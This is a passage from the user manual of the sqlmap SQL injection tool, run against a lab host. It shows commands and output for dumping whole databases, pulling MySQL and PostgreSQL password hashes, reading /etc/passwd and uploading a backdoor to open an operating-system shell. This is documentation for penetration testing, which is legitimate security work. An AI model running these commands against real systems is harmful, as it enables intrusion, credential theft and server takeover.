|
|
| 5 | NULL | nameisnull |
|
|
+----+----------------------------------------------+-------------------+
|
|
|
|
Database: information_schema
|
|
Table: CHARACTER_SETS
|
|
[36 entries]
|
|
+--------------------+----------------------+-----------------------------+--------+
|
|
| CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME | DESCRIPTION | MAXLEN |
|
|
+--------------------+----------------------+-----------------------------+--------+
|
|
| tis620 | tis620_thai_ci | TIS620 Thai | 1 |
|
|
| macroman | macroman_general_ci | Mac West European | 1 |
|
|
| dec8 | dec8_swedish_ci | DEC West European | 1 |
|
|
| ujis | ujis_japanese_ci | EUC-JP Japanese | 3 |
|
|
| eucjpms | eucjpms_japanese_ci | UJIS for Windows Japanese | 3 |
|
|
| armscii8 | armscii8_general_ci | ARMSCII-8 Armenian | 1 |
|
|
| ucs2 | ucs2_general_ci | UCS-2 Unicode | 2 |
|
|
| hp8 | hp8_english_ci | HP West European | 1 |
|
|
| latin2 | latin2_general_ci | ISO 8859-2 Central European | 1 |
|
|
| koi8u | koi8u_general_ci | KOI8-U Ukrainian | 1 |
|
|
| keybcs2 | keybcs2_general_ci | DOS Kamenicky Czech-Slovak | 1 |
|
|
| ascii | ascii_general_ci | US ASCII | 1 |
|
|
| cp866 | cp866_general_ci | DOS Russian | 1 |
|
|
| cp1256 | cp1256_general_ci | Windows Arabic | 1 |
|
|
| macce | macce_general_ci | Mac Central European | 1 |
|
|
| sjis | sjis_japanese_ci | Shift-JIS Japanese | 2 |
|
|
| geostd8 | geostd8_general_ci | GEOSTD8 Georgian | 1 |
|
|
| cp1257 | cp1257_general_ci | Windows Baltic | 1 |
|
|
| cp852 | cp852_general_ci | DOS Central European | 1 |
|
|
| euckr | euckr_korean_ci | EUC-KR Korean | 2 |
|
|
| cp1250 | cp1250_general_ci | Windows Central European | 1 |
|
|
| cp1251 | cp1251_general_ci | Windows Cyrillic | 1 |
|
|
| binary | binary | Binary pseudo charset | 1 |
|
|
| big5 | big5_chinese_ci | Big5 Traditional Chinese | 2 |
|
|
| gb2312 | gb2312_chinese_ci | GB2312 Simplified Chinese | 2 |
|
|
| hebrew | hebrew_general_ci | ISO 8859-8 Hebrew | 1 |
|
|
| koi8r | koi8r_general_ci | KOI8-R Relcom Russian | 1 |
|
|
| greek | greek_general_ci | ISO 8859-7 Greek | 1 |
|
|
| cp850 | cp850_general_ci | DOS West European | 1 |
|
|
| utf8 | utf8_general_ci | UTF-8 Unicode | 3 |
|
|
| latin1 | latin1_swedish_ci | cp1252 West European | 1 |
|
|
| latin7 | latin7_general_ci | ISO 8859-13 Baltic | 1 |
|
|
| cp932 | cp932_japanese_ci | SJIS for Windows Japanese | 2 |
|
|
| latin5 | latin5_turkish_ci | ISO 8859-9 Turkish | 1 |
|
|
| swe7 | swe7_swedish_ci | 7bit Swedish | 1 |
|
|
| gbk | gbk_chinese_ci | GBK Simplified Chinese | 2 |
|
|
+--------------------+----------------------+-----------------------------+--------+
|
|
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>You can also provide the <CODE>--exclude-sysdbs</CODE> option to exclude all
|
|
system databases so that sqlmap will only dump entries of users' databases
|
|
tables.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump-all \
|
|
--exclude-sysdbs -v 0
|
|
|
|
Database: master
|
|
Table: spt_datatype_info_ext
|
|
[10 entries]
|
|
+----------------+-----------------+-----------+-----------+
|
|
| AUTO_INCREMENT | CREATE_PARAMS | typename | user_type |
|
|
+----------------+-----------------+-----------+-----------+
|
|
| 0 | length | char | 175 |
|
|
| 0 | precision,scale | numeric | 108 |
|
|
| 0 | max length | varbinary | 165 |
|
|
| 0 | precision,scale | decimal | 106 |
|
|
| 1 | precision | numeric | 108 |
|
|
| 0 | length | nchar | 239 |
|
|
| 0 | max length | nvarchar | 231 |
|
|
| 0 | length | binary | 173 |
|
|
| 0 | max length | varchar | 167 |
|
|
| 1 | precision | decimal | 106 |
|
|
+----------------+-----------------+-----------+-----------+
|
|
|
|
[...]
|
|
|
|
Database: master
|
|
Table: users
|
|
[5 entries]
|
|
+----+----------------------------------------------+-------------------+
|
|
| id | name | surname |
|
|
+----+----------------------------------------------+-------------------+
|
|
| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header |
|
|
| 2 | fluffy | bunny |
|
|
| 1 | luther | blisset |
|
|
| 3 | wu | ming |
|
|
| 5 | NULL | nameisnull |
|
|
+----+----------------------------------------------+-------------------+
|
|
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Note that on Microsoft SQL Server the <CODE>master</CODE> database is not
|
|
considered a system database because some database administrators use it
|
|
as a users' database.</P>
|
|
|
|
|
|
<H3>Run your own SQL statement</H3>
|
|
|
|
<P>Options: <CODE>--sql-query</CODE> and <CODE>--sql-shell</CODE></P>
|
|
|
|
<P>The SQL query and the SQL shell features makes the user able to run
|
|
whatever <CODE>SELECT</CODE> statement on the web application's back-end
|
|
database management system and retrieve its output.</P>
|
|
|
|
<P>Examples on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \
|
|
"SELECT 'foo'" -v 1
|
|
|
|
[...]
|
|
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
|
|
[hh:mm:14] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
|
|
(CHAR(32)))
|
|
[hh:mm:14] [INFO] retrieved: foo
|
|
[hh:mm:14] [INFO] performed 27 queries in 0 seconds
|
|
SELECT 'foo': 'foo'
|
|
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \
|
|
"SELECT 'foo', 'bar'" -v 1
|
|
|
|
[...]
|
|
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
|
|
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
|
|
distinct queries to be able to retrieve the output even if we are going blind
|
|
[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
|
|
(CHAR(32)))
|
|
[hh:mm:50] [INFO] retrieved: foo
|
|
[hh:mm:50] [INFO] performed 27 queries in 0 seconds
|
|
[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
|
|
(CHAR(32)))
|
|
[hh:mm:50] [INFO] retrieved: bar
|
|
[hh:mm:50] [INFO] performed 27 queries in 0 seconds
|
|
SELECT 'foo', 'bar': 'foo, bar'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see from this last example, sqlmap splits the query in two
|
|
different <CODE>SELECT</CODE> statement to be able to retrieve the output even
|
|
when using blind SQL injection technique.
|
|
Otherwise in inband SQL injection technique it only perform a single HTTP
|
|
request to get the user's query output:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \
|
|
"SELECT 'foo', 'bar'" -v 1 --union-use
|
|
|
|
[...]
|
|
[hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
|
|
[hh:mm:03] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
|
|
technique
|
|
[hh:mm:03] [INFO] the target url could be affected by an inband sql injection vulnerability
|
|
[hh:mm:03] [INFO] confirming full inband sql injection on parameter 'id'
|
|
[hh:mm:03] [INFO] the target url is affected by an exploitable full inband sql injection
|
|
vulnerability
|
|
[hh:mm:03] [INFO] query: UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+
|
|
CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32)))
|
|
+(CHAR(105)+CHAR(65)+CHAR(119)+CHAR(105)+CHAR(108)+CHAR(108))+ISNULL(CAST((CHAR(98)+CHAR(97)+
|
|
CHAR(114)) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(66)+CHAR(78)+CHAR(104)+CHAR(75)+CHAR(114)+
|
|
CHAR(116)), NULL-- AND 8373=8373
|
|
[hh:mm:03] [INFO] performed 3 queries in 0 seconds
|
|
SELECT 'foo', 'bar' [1]:
|
|
[*] foo, bar
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Examples on an <B>Oracle XE 10.2.0.1</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --sql-query \
|
|
"SELECT 'foo' FROM dual" -v 0
|
|
|
|
[hh:mm:04] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] n
|
|
SELECT 'foo' FROM dual: 'foo'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, if your <CODE>SELECT</CODE> statement contains a <CODE>FROM</CODE>
|
|
clause, sqlmap asks the user if such statement can return multiple entries
|
|
and in such case the tool knows how to unpack the query correctly to
|
|
retrieve its whole output line per line when going through blind SQL
|
|
injection technique.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-query \
|
|
"SELECT usename FROM pg_user" -v 0
|
|
|
|
[hh:mm:47] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
|
|
[hh:mm:48] [INPUT] the SQL query that you provide can return up to 3 entries. How many
|
|
entries do you want to retrieve?
|
|
[a] All (default)
|
|
[#] Specific number
|
|
[q] Quit
|
|
Choice: 2
|
|
SELECT usename FROM pg_user [2]:
|
|
[*] postgres
|
|
[*] testuser
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see from the last example, sqlmap counts the number of entries
|
|
for your query and asks how many entries from the top you want to dump.
|
|
Otherwise if you specify also the <CODE>LIMIT</CODE>, or similar, clause
|
|
sqlmap will not ask anything, just unpack the query and return its
|
|
output line per line when going through blind SQL injection technique.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-query \
|
|
"SELECT user, host, password FROM mysql.user LIMIT 1, 3" -v 1
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:11] [INFO] fetching SQL SELECT query output: 'SELECT user, host, password FROM
|
|
mysql.user LIMIT 1, 3'
|
|
[hh:mm:12] [INFO] the SQL query provided has more than a field. sqlmap will now unpack
|
|
it into distinct queries to be able to retrieve the output even if we are going blind
|
|
[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
|
|
ORDER BY user ASC LIMIT 1, 1
|
|
[hh:mm:12] [INFO] retrieved: root
|
|
[hh:mm:12] [INFO] performed 34 queries in 0 seconds
|
|
[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
|
|
ORDER BY user ASC LIMIT 1, 1
|
|
[hh:mm:12] [INFO] retrieved: localhost
|
|
[hh:mm:12] [INFO] performed 69 queries in 0 seconds
|
|
[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
|
|
ORDER BY user ASC LIMIT 1, 1
|
|
[hh:mm:12] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
|
|
[hh:mm:13] [INFO] performed 293 queries in 0 seconds
|
|
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
|
|
ORDER BY user ASC LIMIT 2, 1
|
|
[hh:mm:13] [INFO] retrieved: root
|
|
[hh:mm:13] [INFO] performed 34 queries in 0 seconds
|
|
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
|
|
ORDER BY user ASC LIMIT 2, 1
|
|
[hh:mm:13] [INFO] retrieved: leboyer
|
|
[hh:mm:13] [INFO] performed 55 queries in 0 seconds
|
|
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
|
|
ORDER BY user ASC LIMIT 2, 1
|
|
[hh:mm:13] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
|
|
[hh:mm:14] [INFO] performed 293 queries in 0 seconds
|
|
[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
|
|
ORDER BY user ASC LIMIT 3, 1
|
|
[hh:mm:14] [INFO] retrieved: root
|
|
[hh:mm:14] [INFO] performed 34 queries in 0 seconds
|
|
[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
|
|
ORDER BY user ASC LIMIT 3, 1
|
|
[hh:mm:14] [INFO] retrieved: 192.168.1.121
|
|
[hh:mm:14] [INFO] performed 69 queries in 0 seconds
|
|
[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
|
|
ORDER BY user ASC LIMIT 3, 1
|
|
[hh:mm:14] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
|
|
[hh:mm:15] [INFO] performed 293 queries in 0 seconds
|
|
SELECT user, host, password FROM mysql.user LIMIT 1, 3 [3]:
|
|
[*] root, localhost, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
|
|
[*] root, leboyer, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
|
|
[*] root, 192.168.1.121, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>The SQL shell option gives you access to run your own SQL statement
|
|
interactively, like a SQL console logged into the back-end database
|
|
management system.
|
|
This feature has TAB completion and history support.</P>
|
|
|
|
<P>Example of history support on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0
|
|
|
|
sql> SELECT 'foo'
|
|
SELECT 'foo': 'foo'
|
|
|
|
sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the shell]
|
|
sql> SELECT version()
|
|
SELECT version(): 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
|
|
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
|
|
|
|
sql> exit
|
|
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0
|
|
|
|
sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell]
|
|
sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename
|
|
[hh:mm:45] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
|
|
[hh:mm:46] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries
|
|
do you want to retrieve?
|
|
[a] All (default)
|
|
[#] Specific number
|
|
[q] Quit
|
|
Choice:
|
|
SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]:
|
|
[*] postgres, md5d7d880f96044b72d0bba108ace96d1e4
|
|
[*] testuser, md599e5ea7a6f7c3269995cba3927fd0093
|
|
[*] testuser2,
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example of TAB completion on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-shell -v 0
|
|
|
|
sql> [TAB TAB]
|
|
LIMIT
|
|
(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
|
|
AND ORD(MID((%s), %d, 1)) > %d
|
|
CAST(%s AS CHAR(10000))
|
|
COUNT(%s)
|
|
CURRENT_USER()
|
|
DATABASE()
|
|
IFNULL(%s, ' ')
|
|
LENGTH(%s)
|
|
LIMIT %d, %d
|
|
MID((%s), %d, %d)
|
|
ORDER BY %s ASC
|
|
SELECT %s FROM %s.%s
|
|
SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)
|
|
SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'
|
|
SELECT grantee FROM information_schema.USER_PRIVILEGES
|
|
SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES
|
|
SELECT schema_name FROM information_schema.SCHEMATA
|
|
SELECT table_schema, table_name FROM information_schema.TABLES
|
|
SELECT user, password FROM mysql.user
|
|
SLEEP(%d)
|
|
VERSION()
|
|
\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)
|
|
sql> SE[TAB]
|
|
sql> SELECT
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see the TAB functionality shows the queries defined for the
|
|
back-end database management system in sqlmap XML queries file, but you
|
|
can run whatever <CODE>SELECT</CODE> statement that you want.</P>
|
|
|
|
<P>Example of asterisk expansion on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-shell \
|
|
-v 1
|
|
|
|
[...]
|
|
[hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
|
|
sql> SELECT * FROM test.users
|
|
[hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM test.users'
|
|
[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the
|
|
column names itself.
|
|
[hh:mm:48] [INFO] fetching columns for table 'users' on database 'test'
|
|
[hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test'
|
|
[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32))
|
|
FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
|
|
table_schema=CHAR(116,101,115,116)
|
|
[hh:mm:48] [INFO] retrieved: 3
|
|
[hh:mm:48] [INFO] performed 13 queries in 0 seconds
|
|
[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
|
|
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
|
|
table_schema=CHAR(116,101,115,116) LIMIT 0, 1
|
|
[hh:mm:48] [INFO] retrieved: id
|
|
[hh:mm:48] [INFO] performed 20 queries in 0 seconds
|
|
[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
|
|
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
|
|
table_schema=CHAR(116,101,115,116) LIMIT 1, 1
|
|
[hh:mm:48] [INFO] retrieved: name
|
|
[hh:mm:48] [INFO] performed 34 queries in 0 seconds
|
|
[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
|
|
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
|
|
table_schema=CHAR(116,101,115,116) LIMIT 2, 1
|
|
[hh:mm:48] [INFO] retrieved: surname
|
|
[hh:mm:48] [INFO] performed 55 queries in 0 seconds
|
|
[hh:mm:48] [INFO] the query with column names is: SELECT id, name, surname FROM test.users
|
|
[hh:mm:48] [INPUT] can the SQL query provided return multiple entries? [Y/n] y
|
|
[hh:mm:04] [INFO] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM test.users
|
|
[hh:mm:04] [INFO] retrieved: 5
|
|
[hh:mm:04] [INFO] performed 13 queries in 0 seconds
|
|
[hh:mm:04] [INPUT] the SQL query that you provide can return up to 5 entries. How many entries
|
|
do you want to retrieve?
|
|
[a] All (default)
|
|
[#] Specific number
|
|
[q] Quit
|
|
Choice: 3
|
|
[hh:mm:09] [INFO] sqlmap is now going to retrieve the first 3 query output entries
|
|
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
|
|
ORDER BY id ASC LIMIT 0, 1
|
|
[hh:mm:09] [INFO] retrieved: 1
|
|
[hh:mm:09] [INFO] performed 13 queries in 0 seconds
|
|
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
|
|
ORDER BY id ASC LIMIT 0, 1
|
|
[hh:mm:09] [INFO] retrieved: luther
|
|
[hh:mm:09] [INFO] performed 48 queries in 0 seconds
|
|
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
|
|
ORDER BY id ASC LIMIT 0, 1
|
|
[hh:mm:09] [INFO] retrieved: blissett
|
|
[hh:mm:09] [INFO] performed 62 queries in 0 seconds
|
|
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
|
|
ORDER BY id ASC LIMIT 1, 1
|
|
[hh:mm:09] [INFO] retrieved: 2
|
|
[hh:mm:09] [INFO] performed 13 queries in 0 seconds
|
|
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
|
|
ORDER BY id ASC LIMIT 1, 1
|
|
[hh:mm:09] [INFO] retrieved: fluffy
|
|
[hh:mm:09] [INFO] performed 48 queries in 0 seconds
|
|
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
|
|
ORDER BY id ASC LIMIT 1, 1
|
|
[hh:mm:09] [INFO] retrieved: bunny
|
|
[hh:mm:09] [INFO] performed 41 queries in 0 seconds
|
|
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
|
|
ORDER BY id ASC LIMIT 2, 1
|
|
[hh:mm:09] [INFO] retrieved: 3
|
|
[hh:mm:09] [INFO] performed 13 queries in 0 seconds
|
|
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
|
|
ORDER BY id ASC LIMIT 2, 1
|
|
[hh:mm:09] [INFO] retrieved: wu
|
|
[hh:mm:09] [INFO] performed 20 queries in 0 seconds
|
|
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
|
|
ORDER BY id ASC LIMIT 2, 1
|
|
[hh:mm:09] [INFO] retrieved: ming
|
|
[hh:mm:10] [INFO] performed 34 queries in 0 seconds
|
|
SELECT * FROM test.users [3]:
|
|
[*] 1, luther, blissett
|
|
[*] 2, fluffy, bunny
|
|
[*] 3, wu, ming
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see in this last example, if the <CODE>SELECT</CODE> statement has
|
|
an asterisk instead of the column(s) name, sqlmap first retrieves the
|
|
column names of the table then asks if the query can return multiple
|
|
entries and goes on.</P>
|
|
|
|
|
|
<H2><A NAME="ss5.8">5.8</A> <A HREF="#toc5.8">File system access</A>
|
|
</H2>
|
|
|
|
<H3>Read a specific file content</H3>
|
|
|
|
<P>Option: <CODE>--read-file</CODE></P>
|
|
|
|
<P>If the back-end database management system is MySQL and the current user
|
|
has <CODE>FILE</CODE> access (access to <CODE>LOAD_FILE()</CODE> builtin function),
|
|
it is possible to read the content of a specific file from the file system.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
|
|
--read-file /etc/passwd -v 0
|
|
|
|
/etc/passwd:
|
|
---
|
|
root:x:0:0:root:/root:/bin/bash
|
|
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
|
bin:x:2:2:bin:/bin:/bin/sh
|
|
sys:x:3:3:sys:/dev:/bin/sh
|
|
sync:x:4:65534:sync:/bin:/bin/sync
|
|
games:x:5:60:games:/usr/games:/bin/sh
|
|
man:x:6:12:man:/var/cache/man:/bin/sh
|
|
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
|
|
mail:x:8:8:mail:/var/mail:/bin/sh
|
|
news:x:9:9:news:/var/spool/news:/bin/sh
|
|
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
|
|
proxy:x:13:13:proxy:/bin:/bin/sh
|
|
www-data:x:33:33:www-data:/var/www:/bin/false
|
|
backup:x:34:34:backup:/var/backups:/bin/sh
|
|
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
|
|
mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false
|
|
postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
|
|
inquis:x:1000:100:Bernardo Damele A. G.,,,:/home/inquis:/bin/bash
|
|
---
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H2><A NAME="ss5.9">5.9</A> <A HREF="#toc5.9">Operating system access</A>
|
|
</H2>
|
|
|
|
<H3>Prompt for an interactive operating system shell</H3>
|
|
|
|
<P>Option: <CODE>--os-shell</CODE></P>
|
|
|
|
<P>If the back-end database management system is MySQL, the web application's
|
|
programming language is PHP and you, or sqlmap itself, found a writable
|
|
directory within the web server document root path, sqlmap can prompt for
|
|
an interactive operating system shell on the back-end database management
|
|
system.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
|
|
--os-shell -v 0
|
|
|
|
[hh:mm:49] [WARNING] unable to retrieve the injectable file absolute system path
|
|
[hh:mm:49] [WARNING] unable to retrieve the remote web server document root
|
|
[hh:mm:49] [INPUT] please provide the web server document root [/var/www]:
|
|
[hh:mm:53] [INPUT] please provide a list of directories absolute path comma separated that
|
|
you want sqlmap to try to upload the agent [/var/www/test]:
|
|
[hh:mm:55] [INPUT] do you want to use the uploaded backdoor as a shell to execute commands
|
|
right now? [Y/n] y
|
|
$ id
|
|
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
|
$ exit
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you might notice, such operating system shell has the same
|
|
functionalities of SQL shell in terms of TAB completion and history support.</P>
|
|
|
|
|
|
<H2><A NAME="ss5.10">5.10</A> <A HREF="#toc5.10">Miscellaneous</A>
|
|
</H2>
|
|
|
|
<H3>Estimated time of arrival</H3>
|
|
|
|
<P>Option: <CODE>--eta</CODE></P>
|
|
|
|
<P>It is possible to calculate and show the estimated time of arrival to
|
|
retrieve each query output in real time while performing the SQL injection
|
|
attack.</P>
|
|
|
|
<P>Example on an <B>Oracle XE 10.2.0.1</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -b \
|
|
--eta -v 1
|
|
|
|
[...]
|
|
back-end DBMS: Oracle
|
|
|
|
[hh:mm:24] [INFO] fetching banner
|
|
[hh:mm:24] [INFO] the resumed output is partial, sqlmap is going to retrieve the query
|
|
output again
|
|
[hh:mm:24] [INFO] retrieved the length of query output: 64
|
|
[hh:mm:24] [INFO] query: SELECT NVL(CAST(banner AS VARCHAR(4000)), (CHR(32))) FROM v$version
|
|
WHERE ROWNUM=1
|
|
77% [=======================================> ] 49/64 ETA 00:00
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>then:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
100% [====================================================] 64/64
|
|
[hh:mm:15] [INFO] performed 454 queries in 2 seconds
|
|
banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" \
|
|
--users --eta -v 1
|
|
|
|
